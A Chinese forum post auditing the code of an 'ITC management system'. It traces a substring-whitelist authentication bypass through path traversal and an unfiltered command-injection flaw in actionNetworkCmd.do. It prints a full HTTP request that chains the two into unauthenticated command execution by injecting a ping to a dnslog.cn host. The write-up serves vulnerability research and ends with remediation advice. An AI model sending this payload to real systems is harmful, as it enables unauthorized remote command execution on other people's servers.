找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2674

积分

0

好友

373

主题
发表于 16 小时前 | 查看: 1| 回复: 0

首先,对目标系统进行代码审计时,权限校验机制是需要优先分析的重点。我们查看系统的 web.xml 配置文件,可以观察到其中设置了多处过滤器。

web.xml配置文件中的过滤器定义

其中包含一个用于防护XSS的过滤器 xssRequestFilter,其对应的处理类为 com.common.RequestFilter

在IDE中搜索RequestFilter类

跟进 RequestFilter 类的 doFilterInternal 方法,可以看到它创建了一个 XssRequestWrapper 对请求进行包装。

RequestFilter类的核心过滤方法

进一步分析 XssRequestWrapper 中的 stripXSSAndSql 方法。该方法主要通过一系列正则表达式,对常见的XSS攻击标签和脚本模式进行过滤和替换。

XSS过滤方法stripXSSAndSql的实现逻辑

回到 web.xml,继续分析其他过滤器。其中定义了一个 staticFilter,其URL模式(url-pattern)覆盖了 .do.js.css.png.jpg 等静态资源请求。

web.xml中静态资源过滤器的配置

跟进 StaticResourcesFilter 类查看其具体实现。发现它主要设置了一些HTTP响应头(如防XSS、内容类型嗅探等),随后便将请求放行,未做实质性的权限校验。

StaticResourcesFilter过滤器实现

继续回到 web.xml 分析 Spring MVC 相关的配置。可以看到其中配置了 DispatcherServlet 并指定了Spring的配置文件路径为 /WEB-INF/config/spring-servlet.xml

web.xml中的Spring MVC配置

根据配置路径,找到并分析 spring-servlet.xml 文件。

定位spring-servlet.xml配置文件

在该配置文件中,第36行配置了一个权限认证拦截器 AuthInterceptor

spring-servlet.xml中的拦截器配置

查看 AuthInterceptor 类的源码。在其第12行左右,定义了一个白名单数组 open。如果请求的URL包含白名单中的字符串(如 "Login.do", "Main.do", "/sdk/" 等),则不会进行302跳转至 /frame/viewJump.do 进行权限校验。

AuthInterceptor权限拦截器的白名单逻辑

这暴露出一个与某些历史系统相似的权限绕过问题。攻击者可以构造特定的路径遍历Payload来绕过认证,例如:

/server/Main.do/../后台文件.do

本案例中的命令执行漏洞位于 actionNetworkCmd.do 这个接口。通过定位,找到对应的控制器文件 \webapps\cms\WEB-INF\classes\com\controller\SystemController.java

SystemController控制器中的actionNetworkCmd方法

actionNetworkCmd 方法中(约第334行),它接收 typeiptime 三个参数。根据 type 值的不同,会拼接不同的系统命令(pingtracerouteiperf3)。

根据type拼接不同系统命令的代码段

关键在于第346行代码附近,用户可控的 ip 参数被直接拼接到了 cmd 字符串中,且未经过任何过滤,从而形成了典型的命令注入漏洞。

在前端的 system.js 文件(约第36行)中,可以看到完整的请求接口路径为 /system/actionNetworkCmd.do

前端JavaScript中调用actionNetworkCmd接口

结合之前发现的权限绕过漏洞,可以构造出完整的攻击Payload。通过发送如下HTTP请求,即可实现未授权命令执行(这里以触发DNS请求为例进行验证):

POST /system/Main.do/../actionNetworkCmd.do HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Connection: close
Priority: u=0

type=0&ip=127.0.0.1;ping jqvs4b.dnslog.cn&time=5&port=

攻击成功后,可以在DNSLog平台看到来自目标服务器的DNS查询记录,证明命令已成功执行。

DNSLog平台接收到的请求记录

同时,服务器也返回了HTTP 200响应。

服务器对攻击请求的HTTP响应

本次审计揭示了目标ITC管理系统在Spring框架权限校验设计上的缺陷以及后端命令拼接处缺乏输入过滤所导致的高危漏洞。开发者在设计鉴权逻辑时应避免使用简单的路径包含判断,对于所有需要执行系统命令的参数,必须进行严格的过滤或使用参数化调用的方式。如果你想了解更多关于代码审计的实战案例与技巧,欢迎访问云栈社区的技术讨论板块。




上一篇:凌晨三点的社交悖论:为何我放弃了编写那个“谁删了我”的检测工具?
下一篇:当项目经理不懂技术开发:复盘一次因管理失效引发的裁员事件
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-27 19:32 , Processed in 0.442563 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表